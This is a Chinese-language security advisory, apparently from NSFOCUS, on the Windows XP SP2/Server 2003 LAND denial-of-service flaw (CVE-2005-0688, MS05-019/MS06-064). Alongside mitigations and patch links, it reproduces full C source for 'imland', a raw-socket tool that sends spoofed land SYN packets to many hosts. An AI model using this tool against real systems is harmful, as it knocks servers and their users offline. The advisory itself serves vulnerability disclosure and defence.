安全研究

安全漏洞
Microsoft IPv6 TCP/IP Loopback LAND攻击拒绝服务(MS05-019/MS06-064)

发布日期:2005-04-15
更新日期:2006-10-11

受影响系统:
Microsoft Windows XP SP2
Microsoft Server 2003
描述:
BUGTRAQ  ID: 13658
CVE(CAN) ID: CVE-2005-0688

Microsoft Windows是微软发布的非常流行的操作系统。

关闭了Windows防火墙的Windows Server 2003和XP SP2受LAND攻击的影响。攻击者可以发送设置了SYN标记的TCP报文,将源IP地址和目标IP地址及源端口和目标端口都设置为目标机器,导致15-30秒的DoS情况。

向文件服务器发送单个LAND报文就可能导致当前连接到服务器上所有工作站的Windows explorer僵死,服务器的CPU使用率达到100%。有时有漏洞服务器上的网络监控甚至无法嗅探的出恶意的报文。使用tcpreplay重现攻击可以导致网络完全瘫痪。

<*来源:Dejan Levaja (dejan@levaja.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111005099504081&w=2
        http://secunia.com/advisories/22341/
        http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
        http://www.microsoft.com/technet/security/Bulletin/MS06-064.mspx
        http://www.us-cert.gov/cas/techalerts/TA06-283A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
* imland - improved multiple land
*
* A good spanking session requires several good, hard slaps.
*
* This program lands multiple land attacks on multiple hosts as a
* proof of concept of the oldly discovered but newly resurfaced
* M$ `land' attack vulnerability. It was written without ill intent to
* test a large range of servers for vulnerabilities in one go.
*
* If the targeted machines freeze up for 5-30 seconds for each packet,
* that means they are vulnerable.
*
* Disclaimer:
* This program was written without ill intent. It was designed to test
* and prove the effects of the LAND attack on multiple hosts at once.
* I am in no way responsible for what you do with this piece of code.
*
* Please use it responsibly to test your own servers only.
*
*/

#define _BSD_SOURCE
#define __FAVOR_BSD

#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>


/* the attack packet */
struct raw_tcp_packet {
    struct ip ip;
    struct tcphdr tcp;
};

/* required to make the TCP checksum correct */
struct tcp_chksum_hdr {
    struct in_addr src;
    struct in_addr dest;
    u_char zero;
    u_char proto;
    u_short len;
    struct tcphdr tcp;
};

/* linked list with all we need, really */
typedef struct target {
    struct sockaddr_in sa;
    struct {
        struct iphdr ip;    /* included here so we can build them once */
        struct tcphdr tcp;  /* and thus transmit a tiny bit faster */
    } pkt;
    struct target *next;
} target;

/** prototypes **/
int send_land(int, struct target *);
void u_sleep(u_int);
int add_target_ip(char *, struct in_addr *, u_short);
u_int get_timevar(const char *);
int add_target(char *);
unsigned short chksum(unsigned short *, int);
void finish(int);
void crash(const char *, ...);
void usage(void);

/** external **/
extern int optind, opterr, optopt;
extern int h_errno;
extern char *optarg;
extern char *__progname;

/** global variables **/
target *list = NULL, *cursor = NULL;
int targets = 0;
int pkt_interval = 0; /* no delay by default */
int pkts = 1, pkts_sent = 0;  /* send one per host by default */
int debug = 0;
u_short defport = 139; /* default port */

/** code start **/
void crash(const char *fmt, ...)
{
    va_list ap;

    printf("%s: ", __progname);

    va_start(ap, fmt);
    vprintf(fmt, ap);
    va_end(ap);

    if(errno) printf(": %s", strerror(errno));
    puts("");

    exit(3);
}

int main(int argc, char **argv)
{
    target *host;
    int sock, foo;

    if((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
        crash("socket()");

    while((foo = getopt(argc, argv, "v:i:p:n:")) != EOF) {
        switch(foo) {
        case 'v':
            debug++;
            break;
        case 'i':
            pkt_interval = get_timevar(optarg);
            break;
        case 'p':
            defport = (u_short)strtoul(optarg, NULL, 0);
            break;
        case 'n':
            pkts = strtoul(optarg, NULL, 0);
            if(debug) printf("Sending %d packets\n", pkts);
            break;
        default:
            add_target(optarg);
            break;
        }
    }

    argv = &argv[optind];
    while(*argv) {
        add_target(*argv);
        argv++;
    }
    
    if(!targets) usage();

    while(!pkts || pkts > pkts_sent) {
        host = list;
        while(host) {
            printf("Sending to %s:%u ... ",
                   inet_ntoa(host->sa.sin_addr),
                   host->sa.sin_port);
            foo = send_land(sock, host);
            if(foo == - 1) printf("failed - %s\n", strerror(errno));
            else printf("ok, landed %d bytes\n", foo);

            if(pkt_interval) u_sleep(pkt_interval);

            host = host->next;
        }
        pkts_sent++;
    }

    return 0;
}

/* build and send the land attack packet */
int send_land(int sock, struct target *host)
{
    struct raw_tcp_packet pkt;
    struct tcp_chksum_hdr tcc;

    memset(&pkt, 0, sizeof(pkt));
    memset(&tcc, 0, sizeof(tcc));

    /* ip options */
    pkt.ip.ip_v = IPVERSION;
    pkt.ip.ip_hl = sizeof(struct iphdr) / 4;
    pkt.ip.ip_tos = 0;
    pkt.ip.ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
    pkt.ip.ip_off = htons(IP_DF);
    pkt.ip.ip_ttl = 0xff;
    pkt.ip.ip_p = IPPROTO_TCP;
    pkt.ip.ip_src = pkt.ip.ip_dst = host->sa.sin_addr;
    pkt.ip.ip_sum = chksum((u_short *)&pkt.ip, sizeof(struct iphdr));

    tcc.src = tcc.dest = host->sa.sin_addr;
    tcc.zero = 0;
    tcc.proto = IPPROTO_TCP;
    tcc.len = htons(sizeof(struct tcphdr));

    tcc.tcp.th_sport = tcc.tcp.th_dport = htons(host->sa.sin_port);
    tcc.tcp.th_seq = htons(0x1d1);
    tcc.tcp.th_off = sizeof(struct ip) / 4;
    tcc.tcp.th_flags = TH_SYN;
    tcc.tcp.th_win = htons(512);

    memcpy(&pkt.tcp, &tcc.tcp, sizeof(struct tcphdr));
    pkt.tcp.th_sum = chksum((u_short *)&tcc, sizeof(tcc));
    return sendto(sock, &pkt, sizeof(pkt), 0, (struct sockaddr *)&host->sa,
                  sizeof(struct sockaddr_in));
}

/* calculate checksum */
u_short chksum(u_short *p, int n)
{
    register long sum = 0;

    while(n > 1) {
        sum += *p++;
        n -= 2;
    }
    /* mop up the occasional odd byte */
    if(n == 1) sum += *(u_char *)p;

    sum = (sum >> 16) + (sum & 0xffff);    /* add hi 16 to low 16 */
    sum = sum + (sum >> 16);            /* add carry */
    return ~sum;                        /* ones-complement, truncate */
}

/* usleep() the portable way. No error checking is done,
* so this might theoretically fail. */
void u_sleep(u_int u_sec)
{
    struct timeval to;
    fd_set readset, writeset;

    if(debug > 3) printf("sleeping for %u microseconds\n", u_sec);
    if(!u_sec) return;

    to.tv_sec = u_sec / 1000000;
    to.tv_usec = u_sec % 1000000;
    FD_ZERO(&writeset);
    FD_ZERO(&readset);
    select(0, &readset, &writeset, NULL, &to);

    return;
}

int add_target_ip(char *arg, struct in_addr *in, u_short port)
{
    struct target *host;

    /* disregard obviously stupid addresses */
    if(in->s_addr == INADDR_NONE || in->s_addr == INADDR_ANY)
        return -1;

    if(debug) printf("Adding %s:%u to target list\n", inet_ntoa(*in), port);

    /* add the fresh ip */
    host = malloc(sizeof(struct target));
    if(!host) {
        crash("add_target_ip(%s, %s): malloc(%d) failed",
              arg, inet_ntoa(*in), sizeof(struct target));
    }
    memset(host, 0, sizeof(struct target));

    /* fill out the sockaddr_in struct */
    host->sa.sin_family = AF_INET;
    host->sa.sin_addr.s_addr = in->s_addr;
    host->sa.sin_port = port ? port : defport;

    if(!list) list = host;
    else cursor->next = host;

    cursor = host;
    targets++;

    return 0;
}

/* wrapper for add_target_ip to resolve stuff as well */
int add_target(char *arg)
{
    int i;
    struct hostent *he;
    struct in_addr *in, ip;
    char *port_str;
    u_short port = 0;

    if(!arg) return -1;
    
    if((port_str = strchr(arg, ':'))) {
        *port_str = '\0';
        port_str++;
        if(*port_str) port = (u_short)strtoul(port_str, NULL, 0);
    }

    /* don't resolve if we don't have to */
    if(inet_aton(arg, &ip)) return add_target_ip(arg, &ip, port);

    /* not an IP, so resolve */
    errno = 0;
    he = gethostbyname(arg);
    if(!he && h_errno == TRY_AGAIN) {
        u_sleep(500000);
        he = gethostbyname(arg);
    }

    if(!he) crash("Failed to resolve %s: %s", arg, hstrerror(h_errno));

    /* add all the IP's as targets */
    for(i = 0; he->h_addr_list[i]; i++) {
        in = (struct in_addr *)he->h_addr_list[i];
        add_target_ip(arg, in, port);
    }

    return 0;
}

/*
* u = micro
* m = milli
* s = seconds
* return value is in microseconds
*/
u_int get_timevar(const char *str)
{
    char p, u, *ptr;
    unsigned int len;
    u_int i, d;                /* integer and decimal, respectively */
    u_int factor = 1000;    /* default to milliseconds */

    if(!str) return 0;
    len = strlen(str);
    if(!len) return 0;

    /* unit might be given as ms|m (millisec),
     * us|u (microsec) or just plain s, for seconds */
    u = p = '\0';
    u = str[len - 1];
    if(len >= 2 && !isdigit((int)str[len - 2])) p = str[len - 2];
    if(p && u == 's') u = p;
    else if(!p) p = u;
    if(debug > 3) printf("evaluating %s, u: %c, p: %c\n", str, u, p);

    if(u == 'u') factor = 1;            /* microseconds */
    else if(u == 'm') factor = 1000;    /* milliseconds */
    else if(u == 's') factor = 1000000;    /* seconds */
    if(debug > 3) printf("factor is %u\n", factor);

    i = strtoul(str, &ptr, 0);
    if(!ptr || *ptr != '.' || strlen(ptr) < 2 || factor == 1)
        return i * factor;

    /* time specified in usecs can't have decimal points, so ignore them */
    if(factor == 1) return i;

    d = strtoul(ptr + 1, NULL, 0);

    /* d is decimal, so get rid of excess baggage */
    while(d >= factor) d /= 10;

    /* the last parenthesis avoids floating point exceptions. */
    return ((i * factor) + (d * (factor / 10)));
}

void usage(void)
{
    printf("Usage: %s -i <interval> -p <port> -n <pkts> host1:port1 hostn:portn\n\n",
           __progname);

    printf("-i sets packet interval in milliseconds.\n");
    printf("   You can specify Nus for N microseconds, or Ns for N seconds.\n");
    printf("   Default is 0, which is good for multiple hosts and one packet.\n");
    printf("   If you want to send continuously, specify 1s or more, so as to not\n");
    printf("   cause DoS due to sheer traffic volume.\n\n");
    printf("-p sets the DEFAULT port (139 if not specified)\n\n");
    printf("-n determines how many packets to send to each target. Default is 1\n\n");
    printf("host:port combinations can be given as such; 207.46.130.108:80\n");
    printf("The port part of a target definition ovverrides the defaults.\n\n");
    printf("Hostnames will be resolved, if possible.\n");

    exit(1);
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 使用ISA Server 2000或ISA Server 2004
* 在Windows Sever 2003上启用SynAttackProtect注册表值。

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了安全公告(MS05-019, MS06-064)以及相应补丁:
MS05-019:Vulnerabilities in TCP/IP Could Allow Remote Code Execution and Denial of Service (893066)
链接:http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx

MS06-064:Vulnerabilities in TCP/IP IPv6 Could Allow Denial of Service (922819)
链接:http://www.microsoft.com/technet/security/Bulletin/MS06-064.mspx

浏览次数:5320
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障